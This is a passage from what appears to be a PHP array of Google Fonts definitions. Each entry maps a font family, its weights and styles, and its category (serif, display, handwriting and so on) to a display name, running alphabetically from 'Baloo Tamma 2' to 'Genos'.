			'"Baloo Tamma 2", "regular:500:600:700:800", display'                                                                                                                        => 'Baloo Tamma 2',
			'"Baloo Tammudu 2", "regular:500:600:700:800", display'                                                                                                                      => 'Baloo Tammudu 2',
			'"Baloo Thambi 2", "regular:500:600:700:800", display'                                                                                                                       => 'Baloo Thambi 2',
			'"Balsamiq Sans", "regular:italic:700:700italic", display'                                                                                                                   => 'Balsamiq Sans',
			'"Balthazar", "regular", serif'                                                                                                                                              => 'Balthazar',
			'"Bangers", "regular", display'                                                                                                                                              => 'Bangers',
			'"Barlow", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                     => 'Barlow',
			'"Barlow Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'           => 'Barlow Condensed',
			'"Barlow Semi Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'      => 'Barlow Semi Condensed',
			'"Barriecito", "regular", display'                                                                                                                                           => 'Barriecito',
			'"Barrio", "regular", display'                                                                                                                                               => 'Barrio',
			'"Basic", "regular", sans-serif'                                                                                                                                             => 'Basic',
			'"Baskervville", "regular:italic", serif'                                                                                                                                    => 'Baskervville',
			'"Baskervville SC", "regular", serif'                                                                                                                                        => 'Baskervville SC',
			'"Battambang", "100:300:regular:700:900", display'                                                                                                                           => 'Battambang',
			'"Baumans", "regular", display'                                                                                                                                              => 'Baumans',
			'"Bayon", "regular", sans-serif'                                                                                                                                             => 'Bayon',
			'"Be Vietnam Pro", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'             => 'Be Vietnam Pro',
			'"Beau Rivage", "regular", handwriting'                                                                                                                                      => 'Beau Rivage',
			'"Bebas Neue", "regular", sans-serif'                                                                                                                                        => 'Bebas Neue',
			'"Beiruti", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                               => 'Beiruti',
			'"Belanosima", "regular:600:700", sans-serif'                                                                                                                                => 'Belanosima',
			'"Belgrano", "regular", serif'                                                                                                                                               => 'Belgrano',
			'"Bellefair", "regular", serif'                                                                                                                                              => 'Bellefair',
			'"Belleza", "regular", sans-serif'                                                                                                                                           => 'Belleza',
			'"Bellota", "300:300italic:regular:italic:700:700italic", display'                                                                                                           => 'Bellota',
			'"Bellota Text", "300:300italic:regular:italic:700:700italic", display'                                                                                                      => 'Bellota Text',
			'"BenchNine", "300:regular:700", sans-serif'                                                                                                                                 => 'BenchNine',
			'"Benne", "regular", serif'                                                                                                                                                  => 'Benne',
			'"Bentham", "regular", serif'                                                                                                                                                => 'Bentham',
			'"Berkshire Swash", "regular", handwriting'                                                                                                                                  => 'Berkshire Swash',
			'"Besley", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                                    => 'Besley',
			'"Beth Ellen", "regular", handwriting'                                                                                                                                       => 'Beth Ellen',
			'"Bevan", "regular:italic", serif'                                                                                                                                           => 'Bevan',
			'"BhuTuka Expanded One", "regular", serif'                                                                                                                                   => 'BhuTuka Expanded One',
			'"Big Shoulders Display", "100:200:300:regular:500:600:700:800:900", display'                                                                                                => 'Big Shoulders Display',
			'"Big Shoulders Inline Display", "100:200:300:regular:500:600:700:800:900", display'                                                                                         => 'Big Shoulders Inline Display',
			'"Big Shoulders Inline Text", "100:200:300:regular:500:600:700:800:900", display'                                                                                            => 'Big Shoulders Inline Text',
			'"Big Shoulders Stencil Display", "100:200:300:regular:500:600:700:800:900", display'                                                                                        => 'Big Shoulders Stencil Display',
			'"Big Shoulders Stencil Text", "100:200:300:regular:500:600:700:800:900", display'                                                                                           => 'Big Shoulders Stencil Text',
			'"Big Shoulders Text", "100:200:300:regular:500:600:700:800:900", display'                                                                                                   => 'Big Shoulders Text',
			'"Bigelow Rules", "regular", display'                                                                                                                                        => 'Bigelow Rules',
			'"Bigshot One", "regular", display'                                                                                                                                          => 'Bigshot One',
			'"Bilbo", "regular", handwriting'                                                                                                                                            => 'Bilbo',
			'"Bilbo Swash Caps", "regular", handwriting'                                                                                                                                 => 'Bilbo Swash Caps',
			'"BioRhyme", "200:300:regular:500:600:700:800", serif'                                                                                                                       => 'BioRhyme',
			'"BioRhyme Expanded", "200:300:regular:700:800", serif'                                                                                                                      => 'BioRhyme Expanded',
			'"Birthstone", "regular", handwriting'                                                                                                                                       => 'Birthstone',
			'"Birthstone Bounce", "regular:500", handwriting'                                                                                                                            => 'Birthstone Bounce',
			'"Biryani", "200:300:regular:600:700:800:900", sans-serif'                                                                                                                   => 'Biryani',
			'"Bitter", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                          => 'Bitter',
			'"Black And White Picture", "regular", display'                                                                                                                              => 'Black And White Picture',
			'"Black Han Sans", "regular", sans-serif'                                                                                                                                    => 'Black Han Sans',
			'"Black Ops One", "regular", display'                                                                                                                                        => 'Black Ops One',
			'"Blaka", "regular", display'                                                                                                                                                => 'Blaka',
			'"Blaka Hollow", "regular", display'                                                                                                                                         => 'Blaka Hollow',
			'"Blaka Ink", "regular", display'                                                                                                                                            => 'Blaka Ink',
			'"Blinker", "100:200:300:regular:600:700:800:900", sans-serif'                                                                                                               => 'Blinker',
			'"Bodoni Moda", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                               => 'Bodoni Moda',
			'"Bodoni Moda SC", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                            => 'Bodoni Moda SC',
			'"Bokor", "regular", display'                                                                                                                                                => 'Bokor',
			'"Bona Nova", "regular:italic:700", serif'                                                                                                                                   => 'Bona Nova',
			'"Bona Nova SC", "regular:italic:700", serif'                                                                                                                                => 'Bona Nova SC',
			'"Bonbon", "regular", handwriting'                                                                                                                                           => 'Bonbon',
			'"Bonheur Royale", "regular", handwriting'                                                                                                                                   => 'Bonheur Royale',
			'"Boogaloo", "regular", display'                                                                                                                                             => 'Boogaloo',
			'"Borel", "regular", handwriting'                                                                                                                                            => 'Borel',
			'"Bowlby One", "regular", display'                                                                                                                                           => 'Bowlby One',
			'"Bowlby One SC", "regular", display'                                                                                                                                        => 'Bowlby One SC',
			'"Braah One", "regular", sans-serif'                                                                                                                                         => 'Braah One',
			'"Brawler", "regular:700", serif'                                                                                                                                            => 'Brawler',
			'"Bree Serif", "regular", serif'                                                                                                                                             => 'Bree Serif',
			'"Bricolage Grotesque", "200:300:regular:500:600:700:800", sans-serif'                                                                                                       => 'Bricolage Grotesque',
			'"Bruno Ace", "regular", display'                                                                                                                                            => 'Bruno Ace',
			'"Bruno Ace SC", "regular", display'                                                                                                                                         => 'Bruno Ace SC',
			'"Brygada 1918", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                          => 'Brygada 1918',
			'"Bubblegum Sans", "regular", display'                                                                                                                                       => 'Bubblegum Sans',
			'"Bubbler One", "regular", sans-serif'                                                                                                                                       => 'Bubbler One',
			'"Buda", "300", display'                                                                                                                                                     => 'Buda',
			'"Buenard", "regular:700", serif'                                                                                                                                            => 'Buenard',
			'"Bungee", "regular", display'                                                                                                                                               => 'Bungee',
			'"Bungee Hairline", "regular", display'                                                                                                                                      => 'Bungee Hairline',
			'"Bungee Inline", "regular", display'                                                                                                                                        => 'Bungee Inline',
			'"Bungee Outline", "regular", display'                                                                                                                                       => 'Bungee Outline',
			'"Bungee Shade", "regular", display'                                                                                                                                         => 'Bungee Shade',
			'"Bungee Spice", "regular", display'                                                                                                                                         => 'Bungee Spice',
			'"Butcherman", "regular", display'                                                                                                                                           => 'Butcherman',
			'"Butterfly Kids", "regular", handwriting'                                                                                                                                   => 'Butterfly Kids',
			'"Cabin", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                            => 'Cabin',
			'"Cabin Condensed", "regular:500:600:700", sans-serif'                                                                                                                       => 'Cabin Condensed',
			'"Cabin Sketch", "regular:700", display'                                                                                                                                     => 'Cabin Sketch',
			'"Cactus Classical Serif", "regular", serif'                                                                                                                                 => 'Cactus Classical Serif',
			'"Caesar Dressing", "regular", display'                                                                                                                                      => 'Caesar Dressing',
			'"Cagliostro", "regular", sans-serif'                                                                                                                                        => 'Cagliostro',
			'"Cairo", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                                 => 'Cairo',
			'"Cairo Play", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                            => 'Cairo Play',
			'"Caladea", "regular:italic:700:700italic", serif'                                                                                                                           => 'Caladea',
			'"Calistoga", "regular", display'                                                                                                                                            => 'Calistoga',
			'"Calligraffitti", "regular", handwriting'                                                                                                                                   => 'Calligraffitti',
			'"Cambay", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Cambay',
			'"Cambo", "regular", serif'                                                                                                                                                  => 'Cambo',
			'"Candal", "regular", sans-serif'                                                                                                                                            => 'Candal',
			'"Cantarell", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Cantarell',
			'"Cantata One", "regular", serif'                                                                                                                                            => 'Cantata One',
			'"Cantora One", "regular", sans-serif'                                                                                                                                       => 'Cantora One',
			'"Caprasimo", "regular", display'                                                                                                                                            => 'Caprasimo',
			'"Capriola", "regular", sans-serif'                                                                                                                                          => 'Capriola',
			'"Caramel", "regular", handwriting'                                                                                                                                          => 'Caramel',
			'"Carattere", "regular", handwriting'                                                                                                                                        => 'Carattere',
			'"Cardo", "regular:italic:700", serif'                                                                                                                                       => 'Cardo',
			'"Carlito", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'Carlito',
			'"Carme", "regular", sans-serif'                                                                                                                                             => 'Carme',
			'"Carrois Gothic", "regular", sans-serif'                                                                                                                                    => 'Carrois Gothic',
			'"Carrois Gothic SC", "regular", sans-serif'                                                                                                                                 => 'Carrois Gothic SC',
			'"Carter One", "regular", display'                                                                                                                                           => 'Carter One',
			'"Castoro", "regular:italic", serif'                                                                                                                                         => 'Castoro',
			'"Castoro Titling", "regular", display'                                                                                                                                      => 'Castoro Titling',
			'"Catamaran", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Catamaran',
			'"Caudex", "regular:italic:700:700italic", serif'                                                                                                                            => 'Caudex',
			'"Caveat", "regular:500:600:700", handwriting'                                                                                                                               => 'Caveat',
			'"Caveat Brush", "regular", handwriting'                                                                                                                                     => 'Caveat Brush',
			'"Cedarville Cursive", "regular", handwriting'                                                                                                                               => 'Cedarville Cursive',
			'"Ceviche One", "regular", display'                                                                                                                                          => 'Ceviche One',
			'"Chakra Petch", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                                       => 'Chakra Petch',
			'"Changa", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                    => 'Changa',
			'"Changa One", "regular:italic", display'                                                                                                                                    => 'Changa One',
			'"Chango", "regular", display'                                                                                                                                               => 'Chango',
			'"Charis SIL", "regular:italic:700:700italic", serif'                                                                                                                        => 'Charis SIL',
			'"Charm", "regular:700", handwriting'                                                                                                                                        => 'Charm',
			'"Charmonman", "regular:700", handwriting'                                                                                                                                   => 'Charmonman',
			'"Chathura", "100:300:regular:700:800", sans-serif'                                                                                                                          => 'Chathura',
			'"Chau Philomene One", "regular:italic", sans-serif'                                                                                                                         => 'Chau Philomene One',
			'"Chela One", "regular", display'                                                                                                                                            => 'Chela One',
			'"Chelsea Market", "regular", display'                                                                                                                                       => 'Chelsea Market',
			'"Chenla", "regular", display'                                                                                                                                               => 'Chenla',
			'"Cherish", "regular", handwriting'                                                                                                                                          => 'Cherish',
			'"Cherry Bomb One", "regular", display'                                                                                                                                      => 'Cherry Bomb One',
			'"Cherry Cream Soda", "regular", display'                                                                                                                                    => 'Cherry Cream Soda',
			'"Cherry Swash", "regular:700", display'                                                                                                                                     => 'Cherry Swash',
			'"Chewy", "regular", display'                                                                                                                                                => 'Chewy',
			'"Chicle", "regular", display'                                                                                                                                               => 'Chicle',
			'"Chilanka", "regular", handwriting'                                                                                                                                         => 'Chilanka',
			'"Chivo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Chivo',
			'"Chivo Mono", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", monospace'                  => 'Chivo Mono',
			'"Chocolate Classical Sans", "regular", sans-serif'                                                                                                                          => 'Chocolate Classical Sans',
			'"Chokokutai", "regular", display'                                                                                                                                           => 'Chokokutai',
			'"Chonburi", "regular", display'                                                                                                                                             => 'Chonburi',
			'"Cinzel", "regular:500:600:700:800:900", serif'                                                                                                                             => 'Cinzel',
			'"Cinzel Decorative", "regular:700:900", display'                                                                                                                            => 'Cinzel Decorative',
			'"Clicker Script", "regular", handwriting'                                                                                                                                   => 'Clicker Script',
			'"Climate Crisis", "regular", display'                                                                                                                                       => 'Climate Crisis',
			'"Coda", "regular:800", display'                                                                                                                                             => 'Coda',
			'"Codystar", "300:regular", display'                                                                                                                                         => 'Codystar',
			'"Coiny", "regular", display'                                                                                                                                                => 'Coiny',
			'"Combo", "regular", display'                                                                                                                                                => 'Combo',
			'"Comfortaa", "300:regular:500:600:700", display'                                                                                                                            => 'Comfortaa',
			'"Comforter", "regular", handwriting'                                                                                                                                        => 'Comforter',
			'"Comforter Brush", "regular", handwriting'                                                                                                                                  => 'Comforter Brush',
			'"Comic Neue", "300:300italic:regular:italic:700:700italic", handwriting'                                                                                                    => 'Comic Neue',
			'"Coming Soon", "regular", handwriting'                                                                                                                                      => 'Coming Soon',
			'"Comme", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Comme',
			'"Commissioner", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Commissioner',
			'"Concert One", "regular", display'                                                                                                                                          => 'Concert One',
			'"Condiment", "regular", handwriting'                                                                                                                                        => 'Condiment',
			'"Content", "regular:700", display'                                                                                                                                          => 'Content',
			'"Contrail One", "regular", display'                                                                                                                                         => 'Contrail One',
			'"Convergence", "regular", sans-serif'                                                                                                                                       => 'Convergence',
			'"Cookie", "regular", handwriting'                                                                                                                                           => 'Cookie',
			'"Copse", "regular", serif'                                                                                                                                                  => 'Copse',
			'"Corben", "regular:700", display'                                                                                                                                           => 'Corben',
			'"Corinthia", "regular:700", handwriting'                                                                                                                                    => 'Corinthia',
			'"Cormorant", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", serif'                                                                               => 'Cormorant',
			'"Cormorant Garamond", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                      => 'Cormorant Garamond',
			'"Cormorant Infant", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                        => 'Cormorant Infant',
			'"Cormorant SC", "300:regular:500:600:700", serif'                                                                                                                           => 'Cormorant SC',
			'"Cormorant Unicase", "300:regular:500:600:700", serif'                                                                                                                      => 'Cormorant Unicase',
			'"Cormorant Upright", "300:regular:500:600:700", serif'                                                                                                                      => 'Cormorant Upright',
			'"Courgette", "regular", handwriting'                                                                                                                                        => 'Courgette',
			'"Courier Prime", "regular:italic:700:700italic", monospace'                                                                                                                 => 'Courier Prime',
			'"Cousine", "regular:italic:700:700italic", monospace'                                                                                                                       => 'Cousine',
			'"Coustard", "regular:900", serif'                                                                                                                                           => 'Coustard',
			'"Covered By Your Grace", "regular", handwriting'                                                                                                                            => 'Covered By Your Grace',
			'"Crafty Girls", "regular", handwriting'                                                                                                                                     => 'Crafty Girls',
			'"Creepster", "regular", display'                                                                                                                                            => 'Creepster',
			'"Crete Round", "regular:italic", serif'                                                                                                                                     => 'Crete Round',
			'"Crimson Pro", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                   => 'Crimson Pro',
			'"Crimson Text", "regular:italic:600:600italic:700:700italic", serif'                                                                                                        => 'Crimson Text',
			'"Croissant One", "regular", display'                                                                                                                                        => 'Croissant One',
			'"Crushed", "regular", display'                                                                                                                                              => 'Crushed',
			'"Cuprum", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                           => 'Cuprum',
			'"Cute Font", "regular", display'                                                                                                                                            => 'Cute Font',
			'"Cutive", "regular", serif'                                                                                                                                                 => 'Cutive',
			'"Cutive Mono", "regular", monospace'                                                                                                                                        => 'Cutive Mono',
			'"DM Mono", "300:300italic:regular:italic:500:500italic", monospace'                                                                                                         => 'DM Mono',
			'"DM Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'DM Sans',
			'"DM Serif Display", "regular:italic", serif'                                                                                                                                => 'DM Serif Display',
			'"DM Serif Text", "regular:italic", serif'                                                                                                                                   => 'DM Serif Text',
			'"Dai Banna SIL", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                           => 'Dai Banna SIL',
			'"Damion", "regular", handwriting'                                                                                                                                           => 'Damion',
			'"Dancing Script", "regular:500:600:700", handwriting'                                                                                                                       => 'Dancing Script',
			'"Danfo", "regular", serif'                                                                                                                                                  => 'Danfo',
			'"Dangrek", "regular", display'                                                                                                                                              => 'Dangrek',
			'"Darker Grotesque", "300:regular:500:600:700:800:900", sans-serif'                                                                                                          => 'Darker Grotesque',
			'"Darumadrop One", "regular", display'                                                                                                                                       => 'Darumadrop One',
			'"David Libre", "regular:500:700", serif'                                                                                                                                    => 'David Libre',
			'"Dawning of a New Day", "regular", handwriting'                                                                                                                             => 'Dawning of a New Day',
			'"Days One", "regular", sans-serif'                                                                                                                                          => 'Days One',
			'"Dekko", "regular", handwriting'                                                                                                                                            => 'Dekko',
			'"Dela Gothic One", "regular", display'                                                                                                                                      => 'Dela Gothic One',
			'"Delicious Handrawn", "regular", handwriting'                                                                                                                               => 'Delicious Handrawn',
			'"Delius", "regular", handwriting'                                                                                                                                           => 'Delius',
			'"Delius Swash Caps", "regular", handwriting'                                                                                                                                => 'Delius Swash Caps',
			'"Delius Unicase", "regular:700", handwriting'                                                                                                                               => 'Delius Unicase',
			'"Della Respira", "regular", serif'                                                                                                                                          => 'Della Respira',
			'"Denk One", "regular", sans-serif'                                                                                                                                          => 'Denk One',
			'"Devonshire", "regular", handwriting'                                                                                                                                       => 'Devonshire',
			'"Dhurjati", "regular", sans-serif'                                                                                                                                          => 'Dhurjati',
			'"Didact Gothic", "regular", sans-serif'                                                                                                                                     => 'Didact Gothic',
			'"Diphylleia", "regular", serif'                                                                                                                                             => 'Diphylleia',
			'"Diplomata", "regular", display'                                                                                                                                            => 'Diplomata',
			'"Diplomata SC", "regular", display'                                                                                                                                         => 'Diplomata SC',
			'"Do Hyeon", "regular", sans-serif'                                                                                                                                          => 'Do Hyeon',
			'"Dokdo", "regular", display'                                                                                                                                                => 'Dokdo',
			'"Domine", "regular:500:600:700", serif'                                                                                                                                     => 'Domine',
			'"Donegal One", "regular", serif'                                                                                                                                            => 'Donegal One',
			'"Dongle", "300:regular:700", sans-serif'                                                                                                                                    => 'Dongle',
			'"Doppio One", "regular", sans-serif'                                                                                                                                        => 'Doppio One',
			'"Dorsa", "regular", sans-serif'                                                                                                                                             => 'Dorsa',
			'"Dosis", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                     => 'Dosis',
			'"DotGothic16", "regular", sans-serif'                                                                                                                                       => 'DotGothic16',
			'"Dr Sugiyama", "regular", handwriting'                                                                                                                                      => 'Dr Sugiyama',
			'"Duru Sans", "regular", sans-serif'                                                                                                                                         => 'Duru Sans',
			'"DynaPuff", "regular:500:600:700", display'                                                                                                                                 => 'DynaPuff',
			'"Dynalight", "regular", display'                                                                                                                                            => 'Dynalight',
			'"EB Garamond", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", serif'                                                                             => 'EB Garamond',
			'"Eagle Lake", "regular", handwriting'                                                                                                                                       => 'Eagle Lake',
			'"East Sea Dokdo", "regular", handwriting'                                                                                                                                   => 'East Sea Dokdo',
			'"Eater", "regular", display'                                                                                                                                                => 'Eater',
			'"Economica", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Economica',
			'"Eczar", "regular:500:600:700:800", serif'                                                                                                                                  => 'Eczar',
			'"Edu AU VIC WA NT Hand", "regular:500:600:700", handwriting'                                                                                                                => 'Edu AU VIC WA NT Hand',
			'"Edu NSW ACT Foundation", "regular:500:600:700", handwriting'                                                                                                               => 'Edu NSW ACT Foundation',
			'"Edu QLD Beginner", "regular:500:600:700", handwriting'                                                                                                                     => 'Edu QLD Beginner',
			'"Edu SA Beginner", "regular:500:600:700", handwriting'                                                                                                                      => 'Edu SA Beginner',
			'"Edu TAS Beginner", "regular:500:600:700", handwriting'                                                                                                                     => 'Edu TAS Beginner',
			'"Edu VIC WA NT Beginner", "regular:500:600:700", handwriting'                                                                                                               => 'Edu VIC WA NT Beginner',
			'"El Messiri", "regular:500:600:700", sans-serif'                                                                                                                            => 'El Messiri',
			'"Electrolize", "regular", sans-serif'                                                                                                                                       => 'Electrolize',
			'"Elsie", "regular:900", display'                                                                                                                                            => 'Elsie',
			'"Elsie Swash Caps", "regular:900", display'                                                                                                                                 => 'Elsie Swash Caps',
			'"Emblema One", "regular", display'                                                                                                                                          => 'Emblema One',
			'"Emilys Candy", "regular", display'                                                                                                                                         => 'Emilys Candy',
			'"Encode Sans", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Encode Sans',
			'"Encode Sans Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                             => 'Encode Sans Condensed',
			'"Encode Sans Expanded", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Encode Sans Expanded',
			'"Encode Sans SC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Encode Sans SC',
			'"Encode Sans Semi Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                        => 'Encode Sans Semi Condensed',
			'"Encode Sans Semi Expanded", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                         => 'Encode Sans Semi Expanded',
			'"Engagement", "regular", handwriting'                                                                                                                                       => 'Engagement',
			'"Englebert", "regular", sans-serif'                                                                                                                                         => 'Englebert',
			'"Enriqueta", "regular:500:600:700", serif'                                                                                                                                  => 'Enriqueta',
			'"Ephesis", "regular", handwriting'                                                                                                                                          => 'Ephesis',
			'"Epilogue", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                   => 'Epilogue',
			'"Erica One", "regular", display'                                                                                                                                            => 'Erica One',
			'"Esteban", "regular", serif'                                                                                                                                                => 'Esteban',
			'"Estonia", "regular", handwriting'                                                                                                                                          => 'Estonia',
			'"Euphoria Script", "regular", handwriting'                                                                                                                                  => 'Euphoria Script',
			'"Ewert", "regular", display'                                                                                                                                                => 'Ewert',
			'"Exo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                        => 'Exo',
			'"Exo 2", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Exo 2',
			'"Expletus Sans", "regular:500:600:700:italic:500italic:600italic:700italic", display'                                                                                       => 'Expletus Sans',
			'"Explora", "regular", handwriting'                                                                                                                                          => 'Explora',
			'"Fahkwang", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                             => 'Fahkwang',
			'"Familjen Grotesk", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                 => 'Familjen Grotesk',
			'"Fanwood Text", "regular:italic", serif'                                                                                                                                    => 'Fanwood Text',
			'"Farro", "300:regular:500:700", sans-serif'                                                                                                                                 => 'Farro',
			'"Farsan", "regular", display'                                                                                                                                               => 'Farsan',
			'"Fascinate", "regular", display'                                                                                                                                            => 'Fascinate',
			'"Fascinate Inline", "regular", display'                                                                                                                                     => 'Fascinate Inline',
			'"Faster One", "regular", display'                                                                                                                                           => 'Faster One',
			'"Fasthand", "regular", display'                                                                                                                                             => 'Fasthand',
			'"Fauna One", "regular", serif'                                                                                                                                              => 'Fauna One',
			'"Faustina", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                                  => 'Faustina',
			'"Federant", "regular", display'                                                                                                                                             => 'Federant',
			'"Federo", "regular", sans-serif'                                                                                                                                            => 'Federo',
			'"Felipa", "regular", handwriting'                                                                                                                                           => 'Felipa',
			'"Fenix", "regular", serif'                                                                                                                                                  => 'Fenix',
			'"Festive", "regular", handwriting'                                                                                                                                          => 'Festive',
			'"Figtree", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                => 'Figtree',
			'"Finger Paint", "regular", display'                                                                                                                                         => 'Finger Paint',
			'"Finlandica", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                       => 'Finlandica',
			'"Fira Code", "300:regular:500:600:700", monospace'                                                                                                                          => 'Fira Code',
			'"Fira Mono", "regular:500:700", monospace'                                                                                                                                  => 'Fira Mono',
			'"Fira Sans", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                  => 'Fira Sans',
			'"Fira Sans Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'        => 'Fira Sans Condensed',
			'"Fira Sans Extra Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'  => 'Fira Sans Extra Condensed',
			'"Fjalla One", "regular", sans-serif'                                                                                                                                        => 'Fjalla One',
			'"Fjord One", "regular", serif'                                                                                                                                              => 'Fjord One',
			'"Flamenco", "300:regular", display'                                                                                                                                         => 'Flamenco',
			'"Flavors", "regular", display'                                                                                                                                              => 'Flavors',
			'"Fleur De Leah", "regular", handwriting'                                                                                                                                    => 'Fleur De Leah',
			'"Flow Block", "regular", display'                                                                                                                                           => 'Flow Block',
			'"Flow Circular", "regular", display'                                                                                                                                        => 'Flow Circular',
			'"Flow Rounded", "regular", display'                                                                                                                                         => 'Flow Rounded',
			'"Foldit", "100:200:300:regular:500:600:700:800:900", display'                                                                                                               => 'Foldit',
			'"Fondamento", "regular:italic", handwriting'                                                                                                                                => 'Fondamento',
			'"Fontdiner Swanky", "regular", display'                                                                                                                                     => 'Fontdiner Swanky',
			'"Forum", "regular", display'                                                                                                                                                => 'Forum',
			'"Fragment Mono", "regular:italic", monospace'                                                                                                                               => 'Fragment Mono',
			'"Francois One", "regular", sans-serif'                                                                                                                                      => 'Francois One',
			'"Frank Ruhl Libre", "300:regular:500:600:700:800:900", serif'                                                                                                               => 'Frank Ruhl Libre',
			'"Fraunces", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                        => 'Fraunces',
			'"Freckle Face", "regular", display'                                                                                                                                         => 'Freckle Face',
			'"Fredericka the Great", "regular", display'                                                                                                                                 => 'Fredericka the Great',
			'"Fredoka", "300:regular:500:600:700", sans-serif'                                                                                                                           => 'Fredoka',
			'"Freehand", "regular", display'                                                                                                                                             => 'Freehand',
			'"Freeman", "regular", display'                                                                                                                                              => 'Freeman',
			'"Fresca", "regular", sans-serif'                                                                                                                                            => 'Fresca',
			'"Frijole", "regular", display'                                                                                                                                              => 'Frijole',
			'"Fruktur", "regular:italic", display'                                                                                                                                       => 'Fruktur',
			'"Fugaz One", "regular", display'                                                                                                                                            => 'Fugaz One',
			'"Fuggles", "regular", handwriting'                                                                                                                                          => 'Fuggles',
			'"Fustat", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                    => 'Fustat',
			'"Fuzzy Bubbles", "regular:700", handwriting'                                                                                                                                => 'Fuzzy Bubbles',
			'"GFS Didot", "regular", serif'                                                                                                                                              => 'GFS Didot',
			'"GFS Neohellenic", "regular:italic:700:700italic", sans-serif'                                                                                                              => 'GFS Neohellenic',
			'"Ga Maamli", "regular", display'                                                                                                                                            => 'Ga Maamli',
			'"Gabarito", "regular:500:600:700:800:900", display'                                                                                                                         => 'Gabarito',
			'"Gabriela", "regular", serif'                                                                                                                                               => 'Gabriela',
			'"Gaegu", "300:regular:700", handwriting'                                                                                                                                    => 'Gaegu',
			'"Gafata", "regular", sans-serif'                                                                                                                                            => 'Gafata',
			'"Gajraj One", "regular", display'                                                                                                                                           => 'Gajraj One',
			'"Galada", "regular", display'                                                                                                                                               => 'Galada',
			'"Galdeano", "regular", sans-serif'                                                                                                                                          => 'Galdeano',
			'"Galindo", "regular", display'                                                                                                                                              => 'Galindo',
			'"Gamja Flower", "regular", handwriting'                                                                                                                                     => 'Gamja Flower',
			'"Gantari", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Gantari',
			'"Gasoek One", "regular", sans-serif'                                                                                                                                        => 'Gasoek One',
			'"Gayathri", "100:regular:700", sans-serif'                                                                                                                                  => 'Gayathri',
			'"Gelasio", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                               => 'Gelasio',
			'"Gemunu Libre", "200:300:regular:500:600:700:800", sans-serif'                                                                                                              => 'Gemunu Libre',
			'"Genos", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Genos',
